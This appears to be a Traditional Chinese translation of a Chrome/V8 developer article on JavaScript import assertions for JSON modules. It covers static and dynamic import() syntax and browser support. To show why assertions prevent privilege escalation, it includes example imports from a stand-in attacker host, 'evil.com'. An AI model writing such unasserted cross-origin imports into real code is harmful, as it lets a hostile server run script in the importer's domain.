新的 匯入斷言 功能允許模組匯入陳述包含模組規格說明之外的其他資訊。此功能的初步用途是讓 JSON 文件可以匯入為 JSON 模組
// foo.json
{ "answer": 42 }
// main.mjs
import json from './foo.json' assert { type: 'json' };
console.log(json.answer); // 42
背景:JSON 模組和 MIME 類型 #
一個自然會問到的問題是,為什麼 JSON 模組不能像這樣匯入
import json from './foo.json';
網路平台會在執行模組資源之前檢查其 MIME 類型是否有效,理論上也可以使用此 MIME 類型來決定是要將資源視為 JSON 模組還是 JavaScript 模組。
但是,單獨依賴 MIME 類型存在一個 安全性問題。
模組可以跨來源匯入,開發人員可能會從第三方來源匯入 JSON 模組。只要 JSON 經過適當的消毒,他們可能會認為這基本上是安全的,即使來自不受信任的第三方也是如此,因為匯入 JSON 不會執行腳本。
然而,第三方腳本實際上可以在此情況下執行,因為第三方伺服器可能會意外地回覆 JavaScript MIME 類型和惡意的 JavaScript 酬載,在匯入者的網域中執行程式碼。
// Executes JS if evil.com responds with a
// JavaScript MIME type (e.g. `text/javascript`)!
import data from 'https://evil.com/data.json';
檔案副檔名無法用來判斷模組類型,因為它們 並非網路上的內容類型可靠指標。因此,我們改用匯入斷言來指出預期的模組類型,並防止這種權限提升的陷阱。
當開發人員想要匯入 JSON 模組時,他們必須使用匯入斷言來指定它應該是 JSON。如果從網路接收到的 MIME 類型與預期的類型不符,匯入將會失敗
// Fails if evil.com responds with a non-JSON MIME type.
import data from 'https://evil.com/data.json' assert { type: 'json' };
動態 import()
#
匯入斷言也可以傳遞給 動態 import()
,並搭配新的第二個參數
// foo.json
{ "answer": 42 }
// main.mjs
const jsonModule = await import('./foo.json', {
assert: { type: 'json' }
});
console.log(jsonModule.default.answer); // 42
JSON 內容是模組的預設匯出,因此它會透過 import()
回傳的物件上的 default
屬性來參照。
結論 #
目前,匯入斷言唯一指定的使用方式是指定模組類型。然而,此功能的設計允許任意的金鑰/值斷言配對,因此如果未來需要以其他方式限制模組匯入,可能會新增其他用途。
同時,具有新的匯入斷言語法的 JSON 模組在 Chromium 91 中預設可用。 CSS 模組腳本 也即將推出,使用相同的模組類型斷言語法。
匯入斷言支援 #
- Chrome: 自版本 91 起支援
- Firefox: 不支援
- Safari: 不支援
- Node.js: 不支援
- Babel: 支援